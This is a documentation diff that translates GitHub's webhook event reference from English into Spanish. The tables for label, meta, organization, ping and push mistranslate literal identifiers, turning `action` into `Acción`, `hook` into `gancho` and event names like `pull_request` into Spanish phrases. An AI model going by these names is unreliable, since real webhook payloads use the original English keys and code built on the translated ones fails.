+- Webhooks de GitHub Enterprise. Para obtener más información, consulta los "[webhooks globales](/rest/reference/enterprise-admin#global-webhooks/)."
 
-### Webhook payload object
+### Objeto de carga útil del webhook
 
-Key | Type | Description
-----|------|-------------
-`action` |`string` | The action performed. Can be `anonymous_access_enabled` or `anonymous_access_disabled`.
+| Clave    | Tipo        | Descripción                                                                              |
+| -------- | ----------- | ---------------------------------------------------------------------------------------- |
+| `Acción` | `secuencia` | La acción realizada. Puede ser `anonymous_access_enabled` o `anonymous_access_disabled`. |
 
-### Webhook payload example
+### Ejemplo de carga útil del webhook
 
 {{ webhookPayloadsForCurrentVersion.enterprise.anonymous_access_enabled }}
 
 {% endif %}
 
-## fork
+## bifurcación
 
 {% data reusables.webhooks.fork_short_desc %}
 
-### Availability
+### Disponibilidad
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `contents` permission
+- Webhooks de repositorio
+- Webhooks de organización
+- {% data variables.product.prodname_github_apps %} con el permiso `contents`
 
-### Webhook payload object
+### Objeto de carga útil del webhook
 
 {% data reusables.webhooks.fork_properties %}
 {% data reusables.webhooks.repo_desc %}
@@ -460,28 +461,28 @@ Key | Type | Description
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Ejemplo de carga útil del webhook
 
 {{ webhookPayloadsForCurrentVersion.fork }}
 
 ## github_app_authorization
 
-When someone revokes their authorization of a {% data variables.product.prodname_github_app %}, this event occurs. A {% data variables.product.prodname_github_app %} receives this webhook by default and cannot unsubscribe from this event.
+Este evento ocurre cuando alguien revoca su autorización de una {% data variables.product.prodname_github_app %}. Una {% data variables.product.prodname_github_app %} recibe este webhook predeterminadamente y no puede desuscribirse de este evento.
 
-{% data reusables.webhooks.authorization_event %} For details about user-to-server requests, which require {% data variables.product.prodname_github_app %} authorization, see "[Identifying and authorizing users for {% data variables.product.prodname_github_apps %}](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)."
+{% data reusables.webhooks.authorization_event %} Para obtener detalles sobre las solicitudes de usuario a servidor, las cuales requieren autorización de la {% data variables.product.prodname_github_app %}, consulta la sección "[Identificar y autorizar a los usuarios para las {% data variables.product.prodname_github_apps %}](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)".
 
-### Availability
+### Disponibilidad
 
 - {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### Objeto de carga útil del webhook
 
-Key | Type | Description
-----|------|-------------
-`action` |`string` | The action performed. Can be `revoked`.
+| Clave    | Tipo        | Descripción                               |
+| -------- | ----------- | ----------------------------------------- |
+| `Acción` | `secuencia` | La acción realizada. Puede ser `revoked`. |
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Ejemplo de carga útil del webhook
 
 {{ webhookPayloadsForCurrentVersion.github_app_authorization.revoked }}
 
@@ -489,13 +490,13 @@ Key | Type | Description
 
 {% data reusables.webhooks.gollum_short_desc %}
 
-### Availability
+### Disponibilidad
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `contents` permission
+- Webhooks de repositorio
+- Webhooks de organización
+- {% data variables.product.prodname_github_apps %} con el permiso `contents`
 
-### Webhook payload object
+### Objeto de carga útil del webhook
 
 {% data reusables.webhooks.gollum_properties %}
 {% data reusables.webhooks.repo_desc %}
@@ -503,7 +504,7 @@ Key | Type | Description
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Ejemplo de carga útil del webhook
 
 {{ webhookPayloadsForCurrentVersion.gollum }}
 
@@ -511,17 +512,17 @@ Key | Type | Description
 
 {% data reusables.webhooks.installation_short_desc %}
 
-### Availability
+### Disponibilidad
 
 - {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### Objeto de carga útil del webhook
 
 {% data reusables.webhooks.installation_properties %}
 {% data reusables.webhooks.app_always_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Ejemplo de carga útil del webhook
 
 {{ webhookPayloadsForCurrentVersion.installation.deleted }}
 
@@ -529,31 +530,31 @@ Key | Type | Description
 
 {% data reusables.webhooks.installation_repositories_short_desc %}
 
-### Availability
+### Disponibilidad
 
 - {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### Objeto de carga útil del webhook
 
 {% data reusables.webhooks.installation_repositories_properties %}
 {% data reusables.webhooks.app_always_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Ejemplo de carga útil del webhook
 
 {{ webhookPayloadsForCurrentVersion.installation_repositories.added }}
 
-## issue_comment
+## comentario_propuesta
 
 {% data reusables.webhooks.issue_comment_short_desc %}
 
-### Availability
+### Disponibilidad
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `issues` permission
+- Webhooks de repositorio
+- Webhooks de organización
+- {% data variables.product.prodname_github_apps %} con el permiso `issues`
 
-### Webhook payload object
+### Objeto de carga útil del webhook
 
 {% data reusables.webhooks.issue_comment_webhook_properties %}
 {% data reusables.webhooks.issue_comment_properties %}
@@ -562,21 +563,21 @@ Key | Type | Description
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Ejemplo de carga útil del webhook
 
 {{ webhookPayloadsForCurrentVersion.issue_comment.created }}
 
-## issues
+## propuestas
 
 {% data reusables.webhooks.issues_short_desc %}
 
-### Availability
+### Disponibilidad
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `issues` permission
+- Webhooks de repositorio
+- Webhooks de organización
+- {% data variables.product.prodname_github_apps %} con el permiso `issues`
 
-### Webhook payload object
+### Objeto de carga útil del webhook
 
 {% data reusables.webhooks.issue_webhook_properties %}
 {% data reusables.webhooks.issue_properties %}
@@ -585,72 +586,72 @@ Key | Type | Description
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example when someone edits an issue
+### Ejemplo de carga útil del webhook cuando alguien edita un informe de problemas
 
 {{ webhookPayloadsForCurrentVersion.issues.edited }}
 
-## label
+## etiqueta
 
 {% data reusables.webhooks.label_short_desc %}
 
-### Availability
+### Disponibilidad
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `metadata` permission
+- Webhooks de repositorio
+- Webhooks de organización
+- {% data variables.product.prodname_github_apps %} con el permiso `metadata`
 
-### Webhook payload object
+### Objeto de carga útil del webhook
 
-Key | Type | Description
-----|------|-------------
-`action`|`string` | The action that was performed. Can be `created`, `edited`, or `deleted`.
-`label`|`object` | The label that was added.
-`changes`|`object`| The changes to the label if the action was `edited`.
-`changes[name][from]`|`string` | The previous version of the name if the action was `edited`.
-`changes[color][from]`|`string` | The previous version of the color if the action was `edited`.
+| Clave                  | Tipo        | Descripción                                                           |
+| ---------------------- | ----------- | --------------------------------------------------------------------- |
+| `Acción`               | `secuencia` | La acción que se realizó. Puede ser `created`, `edited`, o `deleted`. |
+| `etiqueta`             | `objeto`    | La etiqueta que se añadió.                                            |
+| `changes`              | `objeto`    | Los cambios a la etiqueta si la acción se `edited` (editó).           |
+| `changes[name][from]`  | `secuencia` | La versión previa del nombre si la acción está como `edited`.         |
+| `changes[color][from]` | `secuencia` | La versión previa del color si la acción se `edited` (editó).         |
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Ejemplo de carga útil del webhook
 
 {{ webhookPayloadsForCurrentVersion.label.deleted }}
 
 {% ifversion fpt or ghec %}
 ## marketplace_purchase
 
-Activity related to a GitHub Marketplace purchase. {% data reusables.webhooks.action_type_desc %} For more information, see the "[GitHub Marketplace](/marketplace/)."
+Actividad relacionada con una compra en GitHub Marketplace. {% data reusables.webhooks.action_type_desc %} Para obtener más información, consulta el "[GitHub Marketplace](/marketplace/)".
 
-### Availability
+### Disponibilidad
 
 - {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### Objeto de carga útil del webhook
 
-Key | Type | Description
-----|------|-------------
-`action` | `string` | The action performed for a [GitHub Marketplace](https://github.com/marketplace) plan. Can be one of:<ul><li>`purchased` - Someone purchased a GitHub Marketplace plan. The change should take effect on the account immediately.</li><li>`pending_change` - You will receive the `pending_change` event when someone has downgraded or cancelled a GitHub Marketplace plan to indicate a change will occur on the account. The new plan or cancellation takes effect at the end of the billing cycle.  The `cancelled` or `changed` event type will be sent when the billing cycle has ended and the cancellation or new plan should take effect.</li><li>`pending_change_cancelled` - Someone has cancelled a pending change. Pending changes include plan cancellations and downgrades that will take effect at the end of a billing cycle. </li><li>`changed` - Someone has upgraded or downgraded a GitHub Marketplace plan and the change should take effect on the account immediately.</li><li>`cancelled` - Someone cancelled a GitHub Marketplace plan and the last billing cycle has ended. The change should take effect on the account immediately.</li></ul>
+| Clave    | Tipo        | Descripción                                                                                                                                         |
+| -------- | ----------- | --------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `Acción` | `secuencia` | La acción realizada para un plan de [GitHub Marketplace](https://github.com/marketplace). Puede ser una de las siguientes:<ul><li>`purchased` - Alguien compró un plan de GitHub Marketplace. El cambio deberá entrar en vigor en la cuenta inmediatamente.</li><li>`pending_change` - Reicbirás el evento `pending_change` cuando alguien haya degradado o cancelado un plan de GitHub Marketplace para indicar que ocurrirá un cambio en la cuenta. El nuevo plan o cancelación entra en vigor al final del ciclo de facturación.  El tipo de evento `cancelled` o `changed` se enviará cuando haya concluido el ciclo de facturación y la cancelación o plan nuevo deberán entrar en vigor.</li><li>`pending_change_cancelled` - Alguien canceló un cambio pendiente. Los cambios pendientes incluyen cancelaciones y degradaciones de planes que entrarán en vigor al final del ciclo de facturación. </li><li>`changed` - Alguien mejoró o degradó un plan de GitHub Marketplace y el cambio deberá entrar en vigor en la cuenta de inmediato.</li><li>`cancelled` - Alguien canceló un plan de GitHub marketplace y el último ciclo de facturación ya terminó. El cambio deberá entrar en vigor en la cuenta inmediatamente.</li></ul> |
 
-For a detailed description of this payload and the payload for each type of `action`, see [{% data variables.product.prodname_marketplace %} webhook events](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/).
+Para obtener una descripción detallada de esta carga útil y de aquella para cada tipo de `action`, consulta los [eventos de webhook de {% data variables.product.prodname_marketplace %}](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/).
 
-### Webhook payload example when someone purchases the plan
+### Ejemplo de carga útil de webhook cuando alguien compra el plan
 
 {{ webhookPayloadsForCurrentVersion.marketplace_purchase.purchased }}
 
 {% endif %}
 
-## member
+## miembro
 
 {% data reusables.webhooks.member_short_desc %}
 
-### Availability
+### Disponibilidad
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `members` permission
+- Webhooks de repositorio
+- Webhooks de organización
+- {% data variables.product.prodname_github_apps %} con el permiso `members`
 
-### Webhook payload object
+### Objeto de carga útil del webhook
 
 {% data reusables.webhooks.member_webhook_properties %}
 {% data reusables.webhooks.member_properties %}
@@ -659,7 +660,7 @@ For a detailed description of this payload and the payload for each type of `act
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Ejemplo de carga útil del webhook
 
 {{ webhookPayloadsForCurrentVersion.member.added }}
 
@@ -667,57 +668,57 @@ For a detailed description of this payload and the payload for each type of `act
 
 {% data reusables.webhooks.membership_short_desc %}
 
-### Availability
+### Disponibilidad
 
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `members` permission
+- Webhooks de organización
+- {% data variables.product.prodname_github_apps %} con el permiso `members`
 
-### Webhook payload object
+### Objeto de carga útil del webhook
 
 {% data reusables.webhooks.membership_properties %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Ejemplo de carga útil del webhook
 
 {{ webhookPayloadsForCurrentVersion.membership.removed }}
 
 ## meta
 
-The webhook this event is configured on was deleted. This event will only listen for changes to the particular hook the event is installed on. Therefore, it must be selected for each hook that you'd like to receive meta events for.
+Se eliminó el evento para el cual se configuró este webhook. Este evento únicamente escuchará los cambios del gancho particular en el cual se instaló. Por lo tanto, debe seleccionarse para cada gancho para el cual quieras recibir metaeventos.
 
-### Availability
+### Disponibilidad
 
-- Repository webhooks
-- Organization webhooks
+- Webhooks de repositorio
+- Webhooks de organización
 
-### Webhook payload object
+### Objeto de carga útil del webhook
 
-Key | Type | Description
-----|------|-------------
-`action` |`string` | The action performed. Can be `deleted`.
-`hook_id`  |`integer` | The id of the modified webhook.
-`hook` |`object` | The modified webhook. This will contain different keys based on the type of webhook it is: repository, organization, business, app, or GitHub Marketplace.
+| Clave     | Tipo        | Descripción                                                                                                                                                       |
+| --------- | ----------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `Acción`  | `secuencia` | La acción realizada. Puede ser `deleted`.                                                                                                                         |
+| `hook_id` | `número`    | La id del webhook modificado.                                                                                                                                     |
+| `gancho`  | `objeto`    | El webhook modificado. Este contendrá claves diferentes con base en el tipo de webhook que sea: de repositorio, organización, negocio, app, o GitHub Marketplace. |
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Ejemplo de carga útil del webhook
 
 {{ webhookPayloadsForCurrentVersion.meta.deleted }}
 
-## milestone
+## hito
 
 {% data reusables.webhooks.milestone_short_desc %}
 
-### Availability
+### Disponibilidad
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `pull_requests` permission
+- Webhooks de repositorio
+- Webhooks de organización
+- {% data variables.product.prodname_github_apps %} con el permiso `pull_requests`
 
-### Webhook payload object
+### Objeto de carga útil del webhook
 
 {% data reusables.webhooks.milestone_properties %}
 {% data reusables.webhooks.repo_desc %}
@@ -725,7 +726,7 @@ Key | Type | Description
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Ejemplo de carga útil del webhook
 
 {{ webhookPayloadsForCurrentVersion.milestone.created }}
 
@@ -733,25 +734,25 @@ Key | Type | Description
 
 {% data reusables.webhooks.organization_short_desc %}
 
-### Availability
+### Disponibilidad
 
 {% ifversion ghes or ghae %}
-- GitHub Enterprise webhooks only receive `created` and `deleted` events. For more information, "[Global webhooks](/rest/reference/enterprise-admin#global-webhooks/).{% endif %}
-- Organization webhooks only receive the `deleted`, `added`, `removed`, `renamed`, and `invited` events
-- {% data variables.product.prodname_github_apps %} with the `members` permission
+- Los webhooks de GitHub Enterprise reciben únicamente eventos de `created` y `deleted`. Para obtener más información, consulta los "[webhooks globales](/rest/reference/enterprise-admin#global-webhooks/).{% endif %}
+- Los webhooks de organización únicamente reciben los eventos `deleted`, `added`, `removed`, `renamed`, y `invited` events
+- {% data variables.product.prodname_github_apps %} con el permiso `members`
 
-### Webhook payload object
+### Objeto de carga útil del webhook
 
-Key | Type | Description
-----|------|-------------
-`action` |`string` | The action that was performed. Can be one of:{% ifversion ghes or ghae %} `created`,{% endif %} `deleted`, `renamed`, `member_added`, `member_removed`, or `member_invited`.
-`invitation` |`object` | The invitation for the user or email if the action is `member_invited`.
-`membership`  |`object` | The membership between the user and the organization.  Not present when the action is `member_invited`.
+| Clave        | Tipo        | Descripción                                                                                                                                                                     |
+| ------------ | ----------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `Acción`     | `secuencia` | La acción que se realizó. Puede ser uno de entre:{% ifversion ghes or ghae %} `created`,{% endif %} `deleted`, `renamed`, `member_added`, `member_removed`, o `member_invited`. |
+| `invitación` | `objeto`    | La invitación para el usuario o correo electrónico si la acción es `member_invited`.                                                                                            |
+| `membership` | `objeto`    | La membrecía entre el usuario y la organización.  No está presente cuando la cción es `member_invited`.                                                                         |
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Ejemplo de carga útil del webhook
 
 {{ webhookPayloadsForCurrentVersion.organization.member_added }}
 
@@ -761,22 +762,22 @@ Key | Type | Description
 
 {% data reusables.webhooks.org_block_short_desc %}
 
-### Availability
+### Disponibilidad
 
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `organization_administration` permission
+- Webhooks de organización
+- {% data variables.product.prodname_github_apps %} con el permiso `organization_administration`
 
-### Webhook payload object
+### Objeto de carga útil del webhook
 
-Key | Type | Description
-----|------|------------
-`action` | `string` | The action performed. Can be `blocked` or `unblocked`.
-`blocked_user` | `object` | Information about the user that was blocked or unblocked.
+| Clave          | Tipo        | Descripción                                                 |
+| -------------- | ----------- | ----------------------------------------------------------- |
+| `Acción`       | `secuencia` | La acción realizada. Puede ser `blocked` o `unblocked`.     |
+| `blocked_user` | `objeto`    | Información acerca del usuario que se bloqueó o desbloqueó. |
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Ejemplo de carga útil del webhook
 
 {{ webhookPayloadsForCurrentVersion.org_block.blocked }}
 
@@ -784,23 +785,23 @@ Key | Type | Description
 
 {% ifversion fpt or ghae or ghec %}
 
-## package
+## paquete
 
-Activity related to {% data variables.product.prodname_registry %}. {% data reusables.webhooks.action_type_desc %} For more information, see "[Managing packages with {% data variables.product.prodname_registry %}](/github/managing-packages-with-github-packages)" to learn more about {% data variables.product.prodname_registry %}.
+Actividad relacionada con el {% data variables.product.prodname_registry %}. {% data reusables.webhooks.action_type_desc %} para obtener más información, consulta la sección "[Administrar paquetes con {% data variables.product.prodname_registry %}](/github/managing-packages-with-github-packages)" para aprender más sobre el {% data variables.product.prodname_registry %}.
 
-### Availability
+### Disponibilidad
 
-- Repository webhooks
-- Organization webhooks
+- Webhooks de repositorio
+- Webhooks de organización
 
-### Webhook payload object
+### Objeto de carga útil del webhook
 
 {% data reusables.webhooks.package_properties %}
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Ejemplo de carga útil del webhook
 
 {{ webhookPayloadsForCurrentVersion.package.published }}
 {% endif %}
@@ -809,24 +810,24 @@ Activity related to {% data variables.product.prodname_registry %}. {% data reus
 
 {% data reusables.webhooks.page_build_short_desc %}
 
-### Availability
+### Disponibilidad
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `pages` permission
+- Webhooks de repositorio
+- Webhooks de organización
+- {% data variables.product.prodname_github_apps %} con el permiso `pages`
 
-### Webhook payload object
+### Objeto de carga útil del webhook
 
-Key | Type | Description
-----|------|------------
-`id` | `integer` | The unique identifier of the page build.
-`build` | `object` | The [List GitHub Pages builds](/rest/reference/repos#list-github-pages-builds) itself.
+| Clave   | Tipo     | Descripción                                                                                                      |
+| ------- | -------- | ---------------------------------------------------------------------------------------------------------------- |
+| `id`    | `número` | El idientificador único de la compilación de la página.                                                          |
+| `build` | `objeto` | La misma terminal de [Listar las compilaciones de GitHub Pages](/rest/reference/pages#list-github-pages-builds). |
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Ejemplo de carga útil del webhook
 
 {{ webhookPayloadsForCurrentVersion.page_build }}
 
@@ -834,25 +835,25 @@ Key | Type | Description
 
 {% data reusables.webhooks.ping_short_desc %}
 
-### Availability
+### Disponibilidad
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} receive a ping event with an `app_id` used to register the app
+- Webhooks de repositorio
+- Webhooks de organización
+- Las {% data variables.product.prodname_github_apps %} reciben un evento de ping con un `app_id` que se utiliza para registrar la app
 
-### Webhook payload object
+### Objeto de carga útil del webhook
 
-Key | Type | Description
-----|------|------------
-`zen` | `string` | Random string of GitHub zen.
-`hook_id` | `integer` | The ID of the webhook that triggered the ping.
-`hook` | `object` | The [webhook configuration](/rest/reference/repos#get-a-repository-webhook).
-`hook[app_id]` | `integer` | When you register a new {% data variables.product.prodname_github_app %}, {% data variables.product.product_name %} sends a ping event to the **webhook URL** you specified during registration. The event contains the `app_id`, which is required for [authenticating](/apps/building-integrations/setting-up-and-registering-github-apps/about-authentication-options-for-github-apps/) an app.
+| Clave          | Tipo        | Descripción                                                                                                                                                                                                                                                                                                                                                                                                       |
+| -------------- | ----------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `zen`          | `secuencia` | Secuencia aleatoria de GitHub zen.                                                                                                                                                                                                                                                                                                                                                                                |
+| `hook_id`      | `número`    | La ID del webhook que activó el ping.                                                                                                                                                                                                                                                                                                                                                                             |
+| `gancho`       | `objeto`    | La [configuración del webhook](/rest/reference/webhooks#get-a-repository-webhook).                                                                                                                                                                                                                                                                                                                                |
+| `hook[app_id]` | `número`    | Cuando registras una {% data variables.product.prodname_github_app %} nueva, {% data variables.product.product_name %} envía un evento de ping a la **URL del webhook** que especificaste durante el registro. El evento contiene la `app_id`, la cual se requiere para [autenticar](/apps/building-integrations/setting-up-and-registering-github-apps/about-authentication-options-for-github-apps/) una app. |
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Ejemplo de carga útil del webhook
 
 {{ webhookPayloadsForCurrentVersion.ping }}
 
@@ -860,13 +861,13 @@ Key | Type | Description
 
 {% data reusables.webhooks.project_card_short_desc %}
 
-### Availability
+### Disponibilidad
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `repository_projects` or `organization_projects` permission
+- Webhooks de repositorio
+- Webhooks de organización
+- Las {% data variables.product.prodname_github_apps %} con el permiso `repository_projects` or `organization_projects`
 
-### Webhook payload object
+### Objeto de carga útil del webhook
 
 {% data reusables.webhooks.project_card_properties %}
 {% data reusables.webhooks.repo_desc %}
@@ -874,7 +875,7 @@ Key | Type | Description
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Ejemplo de carga útil del webhook
 
 {{ webhookPayloadsForCurrentVersion.project_card.created }}
 
@@ -882,13 +883,13 @@ Key | Type | Description
 
 {% data reusables.webhooks.project_column_short_desc %}
 
-### Availability
+### Disponibilidad
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `repository_projects` or `organization_projects` permission
+- Webhooks de repositorio
+- Webhooks de organización
+- Las {% data variables.product.prodname_github_apps %} con el permiso `repository_projects` or `organization_projects`
 
-### Webhook payload object
+### Objeto de carga útil del webhook
 
 {% data reusables.webhooks.project_column_properties %}
 {% data reusables.webhooks.repo_desc %}
@@ -896,7 +897,7 @@ Key | Type | Description
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Ejemplo de carga útil del webhook
 
 {{ webhookPayloadsForCurrentVersion.project_column.created }}
 
@@ -904,13 +905,13 @@ Key | Type | Description
 
 {% data reusables.webhooks.project_short_desc %}
 
-### Availability
+### Disponibilidad
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `repository_projects` or `organization_projects` permission
+- Webhooks de repositorio
+- Webhooks de organización
+- Las {% data variables.product.prodname_github_apps %} con el permiso `repository_projects` or `organization_projects`
 
-### Webhook payload object
+### Objeto de carga útil del webhook
 
 {% data reusables.webhooks.project_properties %}
 {% data reusables.webhooks.repo_desc %}
@@ -918,7 +919,7 @@ Key | Type | Description
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Ejemplo de carga útil del webhook
 
 {{ webhookPayloadsForCurrentVersion.project.created }}
 
@@ -926,36 +927,37 @@ Key | Type | Description
 ## public
 
 {% data reusables.webhooks.public_short_desc %}
-### Availability
+### Disponibilidad
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `metadata` permission
+- Webhooks de repositorio
+- Webhooks de organización
+- {% data variables.product.prodname_github_apps %} con el permiso `metadata`
 
-### Webhook payload object
+### Objeto de carga útil del webhook
 
-Key | Type | Description
-----|------|-------------
+| Clave | Tipo | Descripción |
+| ----- | ---- | ----------- |
+|       |      |             |
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Ejemplo de carga útil del webhook
 
 {{ webhookPayloadsForCurrentVersion.public }}
 {% endif %}
-## pull_request
+## solicitud_extracción
 
 {% data reusables.webhooks.pull_request_short_desc %}
 
-### Availability
+### Disponibilidad
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `pull_requests` permission
+- Webhooks de repositorio
+- Webhooks de organización
+- {% data variables.product.prodname_github_apps %} con el permiso `pull_requests`
 
-### Webhook payload object
+### Objeto de carga útil del webhook
 
 {% data reusables.webhooks.pull_request_webhook_properties %}
 {% data reusables.webhooks.pull_request_properties %}
@@ -964,23 +966,23 @@ Key | Type | Description
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Ejemplo de carga útil del webhook
 
-Deliveries for `review_requested` and `review_request_removed` events will have an additional field called `requested_reviewer`.
+Las entregas para los eventos `review_requested` y `review_request_removed` tendrán un campo adicional llamado `requested_reviewer`.
 
 {{ webhookPayloadsForCurrentVersion.pull_request.opened }}
 
-## pull_request_review
+## revisión_solicitud de extracción
 
 {% data reusables.webhooks.pull_request_review_short_desc %}
 
-### Availability
+### Disponibilidad
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `pull_requests` permission
+- Webhooks de repositorio
+- Webhooks de organización
+- {% data variables.product.prodname_github_apps %} con el permiso `pull_requests`
 
-### Webhook payload object
+### Objeto de carga útil del webhook
 
 {% data reusables.webhooks.pull_request_review_properties %}
 {% data reusables.webhooks.repo_desc %}
@@ -988,21 +990,21 @@ Deliveries for `review_requested` and `review_request_removed` events will have
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Ejemplo de carga útil del webhook
 
 {{ webhookPayloadsForCurrentVersion.pull_request_review.submitted }}
 
-## pull_request_review_comment
+## comentarios _revisiones_solicitudes de extracción
 
 {% data reusables.webhooks.pull_request_review_comment_short_desc %}
 
-### Availability
+### Disponibilidad
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `pull_requests` permission
+- Webhooks de repositorio
+- Webhooks de organización
+- {% data variables.product.prodname_github_apps %} con el permiso `pull_requests`
 
-### Webhook payload object
+### Objeto de carga útil del webhook
 
 {% data reusables.webhooks.pull_request_review_comment_webhook_properties %}
 {% data reusables.webhooks.pull_request_review_comment_properties %}
@@ -1011,71 +1013,71 @@ Deliveries for `review_requested` and `review_request_removed` events will have
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Ejemplo de carga útil del webhook
 
 {{ webhookPayloadsForCurrentVersion.pull_request_review_comment.created }}
 
-## push
+## subir
 
 {% data reusables.webhooks.push_short_desc %}
 
 {% note %}
 
-**Note:** You will not receive a webhook for this event when you push more than three tags at once.
+**Nota:** No recibirás un webhook para este evento cuando cargues más de tres etiquetas al mismo tiempo.
 
 {% endnote %}
 
-### Availability
+### Disponibilidad
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `contents` permission
+- Webhooks de repositorio
+- Webhooks de organización
+- {% data variables.product.prodname_github_apps %} con el permiso `contents`
 
-### Webhook payload object
+### Objeto de carga útil del webhook
 
-Key | Type | Description
-----|------|-------------
-`ref`|`string` | The full [`git ref`](/rest/reference/git#refs) that was pushed. Example: `refs/heads/main` or `refs/tags/v3.14.1`.
-`before`|`string` | The SHA of the most recent commit on `ref` before the push.
-`after`|`string` | The SHA of the most recent commit on `ref` after the push.
-`created`|`boolean` | Whether this push created the `ref`.
-`deleted`|`boolean` | Whether this push deleted the `ref`.
-`forced`|`boolean` | Whether this push was a force push of the `ref`.
-`head_commit`|`object` | For pushes where `after` is or points to a commit object, an expanded representation of that commit. For pushes where `after` refers to an annotated tag object,  an expanded representation of the commit pointed to by the annotated tag.
-`compare`|`string` | URL that shows the changes in this `ref` update, from the `before` commit to the `after` commit. For a newly created `ref` that is directly based on the default branch, this is the comparison between the head of the default branch and the `after` commit. Otherwise, this shows all commits until the `after` commit.
-`commits`|`array` | An array of commit objects describing the pushed commits. (Pushed commits are all commits that are included in the `compare` between the `before` commit and the `after` commit.) The array includes a maximum of 20 commits. If necessary, you can use the [Commits API](/rest/reference/repos#commits) to fetch additional commits. This limit is applied to timeline events only and isn't applied to webhook deliveries.
-`commits[][id]`|`string` | The SHA of the commit.
-`commits[][timestamp]`|`string` | The ISO 8601 timestamp of the commit.
-`commits[][message]`|`string` | The commit message.
-`commits[][author]`|`object` | The git author of the commit.
-`commits[][author][name]`|`string` | The git author's name.
-`commits[][author][email]`|`string` | The git author's email address.
-`commits[][url]`|`url` | URL that points to the commit API resource.
-`commits[][distinct]`|`boolean` | Whether this commit is distinct from any that have been pushed before.
-`commits[][added]`|`array` | An array of files added in the commit.
